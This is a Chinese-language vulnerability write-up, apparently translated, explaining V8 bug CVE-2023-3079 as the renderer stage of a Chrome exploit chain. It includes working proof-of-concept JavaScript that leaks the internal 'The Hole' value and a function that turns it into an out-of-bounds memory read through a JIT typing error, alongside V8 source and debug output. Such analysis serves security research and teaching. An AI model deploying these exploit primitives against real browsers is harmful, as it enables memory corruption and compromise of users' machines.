这篇博文是有关我们在X上演示的 N-day 全链漏洞利用中使用的漏洞系列文章的第一篇。在这篇博文中,我们从 Chrome 渲染器漏洞开始,这是漏洞利用链中的第一个漏洞。利用的漏洞是 CVE-2023-3079,这是 V8 中的类型混淆错误。

属性类型

假设我们有一个 JavaScript 对象{ a: 1, b: 2, 0: 3 }。此对象具有两个命名属性(a,b)和一个整数索引属性(0)。当我们在没有任何上下文的情况下说“属性”时,它通常指的是命名属性;整数索引属性也称为元素。

在大多数情况下,属性和元素都由数组支持。这种属性表示方法称为“快速属性(元素)”,因为它比使用字典的其他表示方法更快。

下图展示了 V8 中 JavaScript 对象的基本内存布局。

元素有多种类型,具体取决于值的类型以及值如何存储到存储中。最重要的是,有两种类型的元素:打包元素或有孔元素。如果所有元素都是相邻的,则元素存储是打包的。另一方面,如果元素之间有孔,则元素存储是有孔的。例如,[1,,3]第二个条目就是一个孔。在 V8 中,孔用一个称为“The Hole”的特殊值填充。由于它由引擎内部使用,因此不能暴露给 JavaScript。因此,当 V8 从有孔元素存储中检索元素时,它会验证该值是否为“The Hole”,然后返回未定义。

内联缓存

由于 JavaScript 是一种动态类型语言,JavaScript 引擎可能会根据对象的类型对单行代码表现出不同的行为。

以下面的 JavaScript 代码为例:

function set_keyed_prop(obj, key, val) {  obj[key] = val;}

该函数非常简单,存储 val 到 key 的 obj 属性中。但是,有几件事需要考虑:

  • 是 key 整数索引,还是字符串?

  • key 属性位于哪里 obj ?

每次执行此类检查的成本很高,因此 JavaScript 引擎实施了名为内联缓存 (IC) 的优化,以加快属性访问速度。IC 利用类型局部性,这意味着程序中某个点的操作数类型很少更改。最初,JavaScript 引擎开始时没有类型信息,因此它运行未优化的代码版本,收集在执行过程中遇到的对象的类型信息。稍后,引擎利用收集到的配置文件来优化性能;它可以调用 IC 处理程序或实时编译代码到本机。

以下代码片段说明了 JavaScript 引擎如何在内部处理上述函数:

if (typeof(obj) == A) {  FAST_ROUTINE_OPTIMIZED_FOR_A();} else {  SLOW_GENERIC_ROUTINE();}

JavaScript 引擎可以在程序点接受不同类型的对象,因此 IC 也可以处理多种类型。在这种情况下,我们称之为多态 IC,而较早的情况被称为单态。

The Bug 

错误在于 IC 处理属性写入的方式 JSStrictArgumentsObject 。

在 V8 中,每个支持 IC 的字节码都有自己的 IC 插槽,而 IC 插槽是从映射(隐藏类)到 IC 处理程序的映射。插槽可能没有条目(未初始化的 IC)或几个映射(单态 IC、多态 IC)。当多态 IC 插槽中的条目过多或新的 IC 处理程序与现有处理程序不兼容时,该插槽将逃逸到巨型态状态;插槽使用通用(慢速)处理程序。

该漏洞存在于 SetKeyedProperty 字节码的 IC 实现中。

function set_keyed_prop(obj, key, val) {  obj[key] = val; // SetKeyedProperty}

由于有两种类型的属性,因此 IC 也有两种类型的处理程序:属性处理程序和元素处理程序。要安装元素处理程序, KeyedStoreIC::StoreElementHandler()则调用元素处理程序以根据对象的类型选择适当的元素处理程序。

Handle<Object> KeyedStoreIC::StoreElementHandler(    Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,    MaybeHandle<Object> prev_validity_cell) {  ...
  if (...) {    ...  } else if (receiver_map->has_fast_elements() ||             receiver_map->has_sealed_elements() ||             receiver_map->has_nonextensible_elements() ||             receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {    TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);    ...  }  ...}

JSStrictArgumentsObject 具有快速元素,因此 StoreHandler::StoreFastElementBuiltin()调用以加载快速元素处理程序。

Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,                                                   KeyedAccessStoreMode mode) {  switch (mode) {    ...    case STORE_AND_GROW_HANDLE_COW:      return BUILTIN_CODE(isolate,                          StoreFastElementIC_GrowNoTransitionHandleCOW);    ...  }}

在 中 StoreHandler::StoreFastElementBuiltin ,buggy 处理程序是 StoreFastElementIC_GrowNoTransitionHandleCOW 。顾名思义,处理程序不会产生映射转换(这意味着元素种类不会改变),并且如果索引等于存储的容量(即,在元素存储的末尾放置一个值),则它会扩展元素存储。当处理程序扩展元素存储时,扩展的存储可能具有额外的空间,并且它们充满了“The Hole”。

默认元素 a JSStrictArgumentsObjectPACKED_ELEMENTS ,在处理程序处理后它将保持不变。这是有问题的,因为同一函数的慢速版本说将元素添加到非 JSArray 对象应该使其elements_kind HOLEY_ELEMENTS

Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index,                                     Handle<Object> value,                                     PropertyAttributes attributes) {
  ...
  // [ 1 ] 'to' is elements kind from 'value'  ElementsKind to = Object::OptimalElementsKind(*value, isolate);
  // [ 2 ] Change to Holey Element Kind if needed  //   1. If the elements kind of the object is already holey  //   2. If object is not a JSArray  //   3. If index is larger than the length of the JSArray  if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) ||      index > old_length) {    to = GetHoleyElementsKind(to);    kind = GetHoleyElementsKind(kind);  }  // [ 3 ] Choose the more general elements kind between 'kind' and 'to'  to = GetMoreGeneralElementsKind(kind, to);  ...}

使这种缺失的地图过渡可利用的另一件事是 V8 如何对元素访问进行边界检查;它检查对象内的 'length' 属性的 JSArray s,而对于所有其他对象,引擎检查其元素的长度支持存储 ( FIXED_ARRAY )。

void AccessorAssembler::EmitFastElementsBoundsCheck(    TNode<JSObject> object, TNode<FixedArrayBase> elements,    TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition,    Label* miss) {  TVARIABLE(IntPtrT, var_length);  Comment("Fast elements bounds check");  Label if_array(this), length_loaded(this, &var_length);  GotoIf(is_jsarray_condition, &if_array);  {    var_length = SmiUntag(LoadFixedArrayBaseLength(elements));    Goto(&length_loaded);  }  BIND(&if_array);  {    var_length = SmiUntag(LoadFastJSArrayLength(CAST(object)));    Goto(&length_loaded);  }  BIND(&length_loaded);  GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);}

在下面,我们有一个 arguments对象和一个 JSArray .当 arguments 对象使用其元素的容量支持存储 (17) 时,使用 JSArray 其 length 属性 (1) 的值来边界检查元素访问。

DebugPrint: 0x29df0004e8dd: [JS_ARGUMENTS_OBJECT_TYPE] - map: 0x29df0019c7a1 <Map[20](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x29df00184ab9 <Object map = 0x29df001840f5> - elements: 0x29df0004e961 <FixedArray[17]> [HOLEY_ELEMENTS] - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): {    0x29df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object    0x29df000043f9: [String] in ReadOnlySpace: #callee: 0x29df0019c381 <JSFunction getArgs (sfi = 0x29df0019c2c1)> (data field 1), location: in-object    0x29df000060d1 <Symbol: Symbol.iterator>: 0x29df0014426d <AccessorInfo name= 0x29df000060d1 <Symbol: Symbol.iterator>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x29df0004e961 <FixedArray[17]> { ******* Use this capacity *******           0: 1        1-16: 0x29df0000026d <the_hole> }
DebugPrint: 0x29df0004ea0d: [JSArray] - map: 0x29df0018e165 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x29df0018e3a9 <JSArray[0]> - elements: 0x29df0004ea61 <FixedArray[17]> [PACKED_SMI_ELEMENTS] - length: 1 ******* Use this length ******* - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): {    0x29df00000e19: [String] in ReadOnlySpace: #length: 0x29df00144285 <AccessorInfo name= 0x29df00000e19 <String[6]: #length>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x29df0004ea61 <FixedArray[17]> {           0: 1        1-16: 0x29df0000026d <the_hole> }

因此,在正常情况下,当其元素存储的大小大于元素的数量时,通过检查其“length”属性来保护对 a JSArray 的越界元素访问,而对于其他对象,它通过“The Hole”检查来保护,因为对象的元素类型为 HOLEY_ELEMENTS 。

但是,即使在扩展其元素存储后,易受攻击的处理程序仍保留其 arguments PACKED_ELEMENTS 映射,这允许我们泄漏“The Hole”值。

下面是触发错误的概念验证 (PoC) 代码。

function set_keyed_prop(obj, key, val) {  obj[key] = val;}
function leak_hole() {  const IC_WARMUP_COUNT = 10;  for (let i = 0; i < IC_WARMUP_COUNT; i++) {    set_keyed_prop(arguments, "foo", 1);  }
  set_keyed_prop([], 0, 1);  set_keyed_prop(arguments, arguments.length, 1);
  let hole = arguments[arguments.length + 1];  return hole;}

以下是有关 PoC 代码工作原理的分步说明。

首先,有一个循环,它使用 arguments 对象和“foo”作为键进行调用 set_keyed_prop() 。循环后,将注册一个属性处理程序,其中 和 arguments 'foo' 的映射作为键,使插槽成为单态的。

DebugPrint: 0x37750019b08d: [Function] in OldSpace ...  - slot #0 StoreKeyedSloppy MONOMORPHIC   0x37750019ae75 <String[3]: #foo>: StoreHandler(<unexpected>)(0x37750018fccd <Map[20](PACKED_ELEMENTS)>) {     [0]: 0x37750019ae75 <String[3]: #foo>     [1]: 0x37750004ca65 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>  }

在这里,我们安装一个属性处理程序,而不是一个元素处理程序。这是因为无法直接安装 的 arguments 元素处理程序。如果一个键是类似 Smi 的(整数或字符串,如 '1'),而一个对象是 arguments , KeyedStoreIC::Store() 则采用慢速路径,而不是安装有缺陷的处理程序。但是,对于普通属性, StoreIC::Store() 调用该属性以填充插槽中的处理程序。

MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,                                        Handle<Object> key,                                        Handle<Object> value) {  ...   // If 'key' is a string, a property handler will be installed.  if (key_type == kName) {    ASSIGN_RETURN_ON_EXCEPTION(        isolate(), store_handle,        StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed),        Object);    if (vector_needs_update()) {      if (ConfigureVectorState(MEGAMORPHIC, key)) {        set_slow_stub_reason("unhandled internalized string key");        TraceIC("StoreIC", key);      }    }    return store_handle;  }   ...    // If 'key' is a Smi-like key, an element handler will be installed.  if (use_ic) {    if (!old_receiver_map.is_null()) {      if (is_arguments) {        set_slow_stub_reason("arguments receiver");      }      ...    }  }   ...}

然后 PoC 使用空数组进行调用 set_keyed_prop() 。由于数组不是 arguments ,因此会发生 IC 未命中,并调用 KeyedStoreIC::UpdateStoreElement() 安装新的元素处理程序。然后它调用 KeyedStoreIC::StoreElementPolymorphicHandlers() 将 IC 插槽的状态更改为多态。

void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map,                                      KeyedAccessStoreMode store_mode,                                      Handle<Map> new_receiver_map) {  std::vector<MapAndHandler> target_maps_and_handlers;  nexus()->ExtractMapsAndHandlers(      &target_maps_and_handlers,      [this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); });  if (target_maps_and_handlers.empty()) {    Handle<Map> monomorphic_map = receiver_map;    // If we transitioned to a map that is a more general map than incoming    // then use the new map.    if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) {      monomorphic_map = new_receiver_map;    }    Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode);    return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler);  }   ...   StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode);   ...}

KeyedStoreIC::StoreElementPolymorphicHandlers() 迭代插槽中以前的 IC 处理程序,并通过调用 StoreElementHandler() 将处理程序转换为元素处理程序。这会将 buggy 处理程序引入插槽。

void KeyedStoreIC::StoreElementPolymorphicHandlers(    std::vector<MapAndHandler>* receiver_maps_and_handlers,    KeyedAccessStoreMode store_mode) {  ...   for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {    Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first;    DCHECK(!receiver_map->is_deprecated());    MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second;    Handle<Object> handler;    Handle<Map> transition;     if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE ||        receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) {      ...     } else {      ...      if (!transition.is_null()) {        TRACE_HANDLER_STATS(isolate(),                            KeyedStoreIC_ElementsTransitionAndStoreStub);        handler = StoreHandler::StoreElementTransition(            isolate(), receiver_map, transition, store_mode, validity_cell);      } else {        handler = StoreElementHandler(receiver_map, store_mode, validity_cell);      }    }    DCHECK(!handler.is_null());    receiver_maps_and_handlers->at(i) =        MapAndHandler(receiver_map, MaybeObjectHandle(handler));  }}

此时,IC插槽如下所示:

DebugPrint: 0x5ed0019b139: [Function] in OldSpace ...  - slot #0 StoreKeyedSloppy POLYMORPHIC   [weak] 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b281 <Cell value= 0>)    [weak] 0x05ed0018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b365 <Cell value= 0>) {     [0]: 0x05ed0004cafd <Other heap object (WEAK_FIXED_ARRAY_TYPE)>     [1]: 0x05ed00000ebd <Symbol: (uninitialized_symbol)>  }

对 set_keyed_prop 的最后一次调用由 buggy 处理程序处理,扩展 的 arguments 元素存储,同时保持元素种类 PACKED_ELEMENTS 。

set_keyed_prop(arguments, arguments.length, 1);

以下是运行 PoC 后的 arguments 对象状态。它的元素类型是 PACKED_ELEMENTS ,元素存储是 FixedArray[17] ,其中空白处被“洞”填满。

DebugPrint: 0x5ed0004cb15: [JS_ARGUMENTS_OBJECT_TYPE] - map: 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)> [FastProperties] - prototype: 0x05ed00184ab9 <Object map = 0x5ed001840f5> - elements: 0x05ed0004cb29 <FixedArray[17]> [PACKED_ELEMENTS] - properties: 0x05ed00000219 <FixedArray[0]> - All own properties (excluding elements): {    0x5ed00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object    ... } - elements: 0x05ed0004cb29 <FixedArray[17]> {           0: 1        1-16: 0x05ed0000026d <the_hole> }

OOB 访问的孔泄漏

可以利用泄露的“The Hole”对象来实现任意越界访问。这种技术最初由 mistymntncup 共享,并且还有相关的文章可用。但是,我们还将详细说明一些细节。

这是使用“The Hole”实现越界访问的漏洞。

function leak_stuff(b) {  if (b) {    let index = Number(b ? the.hole : -1);    index |= 0;    index += 1;     let arr1 = [1.1, 2.2, 3.3, 4.4];    let arr2 = [0x1337, large_arr];     let packed_double_map_and_props = arr1.at(index * 4);    let packed_double_elements_and_len = arr1.at(index * 5);     let packed_map_and_props = arr1.at(index * 8);    let packed_elements_and_len = arr1.at(index * 9);     let fixed_arr_map = arr1.at(index * 6);     let large_arr_addr = arr1.at(index * 7);     return [      packed_double_map_and_props, packed_double_elements_and_len,      packed_map_and_props, packed_elements_and_len,      fixed_arr_map, large_arr_addr,      arr1, arr2    ];  }  return 0;}

最重要的行是以下行:

let index = Number(b ? the.hole : -1);index |= 0;index += 1;

第一行使用三元运算符,它返回 'The Hole' 或 -1。当变热并触发实时编译时 leak_stuff() ,三元运算符会引入一个 Phi 节点,后跟一个 JSToNumberConvertBigInt 节点。

Turbofan 是 V8 中的 JIT 编译器,具有打字阶段,编译器静态推断每个节点的类型。在打字阶段之后,注释类型如下:

Phi 节点的类型被推断为 的 The Hole 类型和整数区间 (-1, -1) 的并集,这似乎是真的。但是, JSToNumberConvertBigInt 节点的类型计算错误,因为对 Number() with The Hole 的调用会产生 NaN .

d8> Number(%TheHole());NaN

JSToNumberConvertBigInt 节点的类型在 OperationTyper::ToNumberConvertBigInt() 中推断。

Type OperationTyper::ToNumberConvertBigInt(Type type) {  // If the {type} includes any receivers, then the callbacks  // might actually produce BigInt primitive values here.  bool maybe_bigint =      type.Maybe(Type::BigInt()) || type.Maybe(Type::Receiver());  type = ToNumber(Type::Intersect(type, Type::NonBigInt(), zone()));
  // Any BigInt is rounded to an integer Number in the range [-inf, inf].  return maybe_bigint ? Type::Union(type, cache_->kInteger, zone()) : type;}

该函数首先计算参数类型和 Type::NonBigInt() 的交集。这是 type Phi 节点的类型, Type::NonBitInt() 定义为 OR 编辑的位标志集。

// src/compiler/types.h#define INTERNAL_BITSET_TYPE_LIST(V)    \  V(OtherUnsigned31, uint64_t{1} << 1)  \  V(OtherUnsigned32, uint64_t{1} << 2)  \  V(OtherSigned32,   uint64_t{1} << 3)  \  V(OtherNumber,     uint64_t{1} << 4)  \  V(OtherString,     uint64_t{1} << 5)  \  ...
#define PROPER_ATOMIC_BITSET_TYPE_LOW_LIST(V) \  ...  V(Hole,                     uint64_t{1} << 23)  \  ... 
#define PROPER_BITSET_TYPE_LIST(V) \  ...  V(NonBigInt,                    kNonBigIntPrimitive | kReceiver) \  ...

当我们展平 的所有 Type::NonBigInt() 子标志时,我们可以看到 'The Hole' 的类型不在集合中。

SymbolUnsigned30Negative31OtherUnsigned31OtherSigned32Unsigned30OtherUnsigned31OtherUnsigned32OtherNumberMinusZeroNaNInternalizedStringOtherStringBooleanNullUndefinedWasmObjectArrayCallableFunctionClassConstructorBoundFunctionOtherCallableOtherObjectOtherUndetectableCallableProxyOtherProxy

因此,“The Hole”的类型被交集过滤,这会导致类型错误。此错误通过以下操作传播。

以下是该漏洞的注释版本,其中包含编译器推断的类型以及使用“The Hole”执行代码时的实际值。

function leak_stuff(b) {  if (b) {    let index = Number(b ? the.hole : -1); // [-1, -1] (actual value: NaN)    index |= 0; // [-1, -1] (actual value: 0)    index += 1; // [0, 0] (actual value: 1)
    let arr1 = [1.1, 2.2, 3.3, 4.4];    let arr2 = [0x1337, large_arr];
    let packed_double_map_and_props = arr1.at(index * 4);    let packed_double_elements_and_len = arr1.at(index * 5);
    let packed_map_and_props = arr1.at(index * 8);    let packed_elements_and_len = arr1.at(index * 9);
    let fixed_arr_map = arr1.at(index * 6);
    let large_arr_addr = arr1.at(index * 7);
    return [      packed_double_map_and_props, packed_double_elements_and_len,      packed_map_and_props, packed_elements_and_len,      fixed_arr_map, large_arr_addr,      arr1, arr2    ];  }  return 0;}

由于编译器认为 的 index 值始终为零,因此它认为所有边界检查都是 arr1 不必要的,并对其进行了优化。但是,当稍后调用该函数时, index 该函数是一个非零值,它将访问 arr1 越界。

编写EXP

现在我们有了越界内存访问原语,并且有一种标准方法可以从 oob 原语实现代码执行。典型的 V8 漏洞利用将:

  1. 1、构造 addr_of,任意读/写原语
    - 这通常可以通过创建几个相邻的数组(PACKED_ELEMENTSPACKED_DOUBLE_ELEMENTS)并使用越界访问原语覆盖数组的长度属性来实现。

  2. 2、使用原语来获得任意代码执行
    - 为此,需要逃离 V8 沙箱。
    - 我们已经在我们的博客上发布了详细的解释

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。